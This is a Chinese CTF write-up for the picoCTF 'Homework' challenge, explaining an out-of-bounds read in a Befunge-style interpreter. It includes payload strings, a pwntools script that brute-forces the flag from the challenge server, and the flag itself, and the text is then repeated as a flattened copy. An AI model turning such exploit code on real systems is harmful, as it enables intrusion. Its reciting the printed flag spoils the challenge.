PicoCTF homework wp:一次有趣代码虚拟化分析之旅
字数 1431 2025-08-24 07:48:09

PicoCTF Homework题目解析:代码虚拟化与越界读取漏洞利用

题目概述

这是一个来自PicoCTF的Pwn题目,难度为Hard。题目描述为"time to do some homework!",是一个典型的代码虚拟化分析挑战。

保护机制

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled
  • PIE: PIE enabled

程序分析

main函数分析

int __fastcall main(int argc, const char **argv, const char **envp) {
    int i; // [rsp+4h] [rbp-Ch]
    FILE *stream; // [rsp+8h] [rbp-8h]
    
    setvbuf(stdout, 0LL, 2, 0LL);
    stream = fopen("flag.txt", "r");
    __isoc99_fscanf(stream, "%s", &flag); // 保存flag到全局变量
    fclose(stream);
    
    puts("Enter homework sol");
    rows = 50;
    cols = 22;
    
    // 接收最多4组输入,每组以R开头
    for (i = 0; i <= 3 && fgets(&board[22 * i], cols + 1, stdin) && board[22 * i] != 'R'; ++i)
        board[22 * i - 1 + strlen(&board[22 * i])] = 0;
    
    // 执行虚拟指令
    while ((unsigned int)step());
    
    do_you_like_gittens = 1;
    does_gittens_watch_cat_videos = 1;
    return 0;
}

step函数分析

step函数是一个虚拟指令解释器,基于board数组中的指令进行操作:

__int64 step() {
    int v1; // eax
    switch (board[22 * pcy + pcx]) { // 根据当前指令执行操作
        // 各种指令处理...
        case '@': return 0LL; // 退出循环的条件
        // 其他指令...
    }
    // 移动指令指针
    pcx += cols + dirx;
    pcx %= cols;
    pcy += rows + diry;
    pcy %= rows;
    return 1LL;
}

虚拟指令集

指令 功能描述
! 逻辑非运算
$ 弹出栈顶元素
% 取模运算
* 乘法运算
+ 加法运算
, 输出字符
- 减法运算
. 输出数字
/ 除法运算
: 复制栈顶元素
< 向左移动
> 向右移动
@ 退出程序
\ 交换栈顶两个元素
^ 向上移动
_ 水平条件移动
` 比较运算
g 从board读取字符
p 向board写入字符
v 向下移动
| 垂直条件移动
0 压入数字0

漏洞分析

关键数据结构布局

.bss段布局:
0x50A0: sn (栈指针)
0x50C0: stack[104] (栈空间)
0x5260: board[1100] (虚拟指令空间)
0x56AC: rows
0x56B0: cols
0x56B4: diry
0x56B8: pcx
0x56BC: pcy
0x56C0: do_you_like_gittens
0x56C4: does_gittens_watch_cat_videos
0x56E0: flag (flag存储位置)

漏洞点

  1. 边界检查不严格:在'g'指令中,虽然检查了stack[sn-1] <= rows,但数组是从0开始索引的,所以当stack[sn-1] == rows时实际上已经越界

  2. 越界读取:通过修改rows值为较大值,可以越界读取flag内容

利用思路

  1. 修改rows值:利用'p'指令将rows修改为较大值(如0xff),绕过边界检查

  2. 计算flag位置:flag位于.bss段的0x56E0,board位于0x5260,偏移为(0x56E0-0x5260)/22 ≈ 52.36,即从第52行开始

  3. 逐字节读取flag:使用'g'指令从计算出的位置读取flag字符,并用','指令输出

利用步骤详解

1. 修改rows值

# 修改rows为0xff的payload
payload = b"00!g00!0!gp"
# 解释:
# 00      - 压入0
# !       - 取非(1)
# g       - 读取board[1][0] (rows的低字节位置)
# 00      - 压入0
# !       - 取非(1)
# 0       - 压入0
# !       - 取非(1)
# g       - 读取board[1][1] (rows的高字节位置)
# p       - 写入board[0][0xff] (修改rows值)

2. 读取flag字符

# 读取flag字符的payload
payload = b"00!g00!0!gp0!:+0!gv"
# 后面跟上坐标和输出指令:
# \xff\x32 - 修改rows为0xff
# \x08\x34 - 要读取的坐标(52行8列)
# @,gg!0+!0+:!0< - 输出指令

3. 完整利用脚本

from pwn import *

context.log_level = "warn"
res = b""
for y in range(52, 55):  # flag大约位于52-54行
    for i in range(0, 24):  # 每行最多22列
        io = remote("mars.picoctf.net", 31689)
        io.recvuntil(b"Enter homework sol\n")
        io.sendline(b"00!g00!0!gp0!:+0!gv")
        io.sendline(b"\xff\x32" + bytes([i, y]) + b" " + b"@,gg!0+!0+:!0<")
        io.sendline(b"R")
        tmp = io.clean(5)
        if b"run" in tmp or b"\x00" in tmp:
            io.close()
            continue
        if tmp == b"":
            tmp = b"?"
        res += tmp
        print(res)
        io.close()

4. 处理特殊字符

对于包含换行符(0x0a)的字符需要特殊处理:

# 读取包含换行符的字符
io = remote("mars.picoctf.net", 31689)
io.recvuntil(b"Enter homework sol\n")
io.sendline(b"00!g00!0!gp0!:+0!gv")
io.sendline(b"\xff\x32\x09\x34" + b" " * 10 + b"v+!0<")  # 0x09是列,0x34是行(52)
io.sendline(b" @,gg!0+!0+:!0<")
io.sendline(b"R")
io.interactive()

最终结果

通过上述方法,最终获取到的flag为:
picoCTF{good_job_full_score_X7OIj4HI903RG2YO}

总结与知识点

  1. 代码虚拟化分析:理解虚拟指令集的行为是关键
  2. 内存布局分析:通过逆向确定全局变量布局
  3. 边界条件利用:数组索引从0开始但边界检查使用<=导致越界
  4. 数据流控制:通过精心构造的输入控制程序执行流
  5. 特殊字符处理:注意输入中的特殊字符(如换行符)可能影响程序行为

扩展知识

该题目实际上是基于Befunge编程语言设计的,这是一种基于栈的二维编程语言,具有以下特点:

  • 指令指针可以在二维空间中移动
  • 使用栈进行数据存储和操作
  • 具有条件分支和循环结构
  • 支持I/O操作

理解这些特性有助于更好地分析类似的代码虚拟化题目。

PicoCTF Homework题目解析:代码虚拟化与越界读取漏洞利用 题目概述 这是一个来自PicoCTF的Pwn题目,难度为Hard。题目描述为"time to do some homework !",是一个典型的代码虚拟化分析挑战。 保护机制 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 程序分析 main函数分析 step函数分析 step函数是一个虚拟指令解释器,基于board数组中的指令进行操作: 虚拟指令集 | 指令 | 功能描述 | |------|----------| | ! | 逻辑非运算 | | $ | 弹出栈顶元素 | | % | 取模运算 | | * | 乘法运算 | | + | 加法运算 | | , | 输出字符 | | - | 减法运算 | | . | 输出数字 | | / | 除法运算 | | : | 复制栈顶元素 | | < | 向左移动 | | > | 向右移动 | | @ | 退出程序 | | \ | 交换栈顶两个元素 | | ^ | 向上移动 | | _ | 水平条件移动 | | ` | 比较运算 | | g | 从board读取字符 | | p | 向board写入字符 | | v | 向下移动 | | \| | 垂直条件移动 | | 0 | 压入数字0 | 漏洞分析 关键数据结构布局 漏洞点 边界检查不严格 :在'g'指令中,虽然检查了 stack[sn-1] <= rows ,但数组是从0开始索引的,所以当 stack[sn-1] == rows 时实际上已经越界 越界读取 :通过修改rows值为较大值,可以越界读取flag内容 利用思路 修改rows值 :利用'p'指令将rows修改为较大值(如0xff),绕过边界检查 计算flag位置 :flag位于.bss段的0x56E0,board位于0x5260,偏移为(0x56E0-0x5260)/22 ≈ 52.36,即从第52行开始 逐字节读取flag :使用'g'指令从计算出的位置读取flag字符,并用','指令输出 利用步骤详解 1. 修改rows值 2. 读取flag字符 3. 完整利用脚本 4. 处理特殊字符 对于包含换行符(0x0a)的字符需要特殊处理: 最终结果 通过上述方法,最终获取到的flag为: picoCTF{good_job_full_score_X7OIj4HI903RG2YO} 总结与知识点 代码虚拟化分析 :理解虚拟指令集的行为是关键 内存布局分析 :通过逆向确定全局变量布局 边界条件利用 :数组索引从0开始但边界检查使用 <=导致越界 数据流控制 :通过精心构造的输入控制程序执行流 特殊字符处理 :注意输入中的特殊字符(如换行符)可能影响程序行为 扩展知识 该题目实际上是基于 Befunge 编程语言设计的,这是一种基于栈的二维编程语言,具有以下特点: 指令指针可以在二维空间中移动 使用栈进行数据存储和操作 具有条件分支和循环结构 支持I/O操作 理解这些特性有助于更好地分析类似的代码虚拟化题目。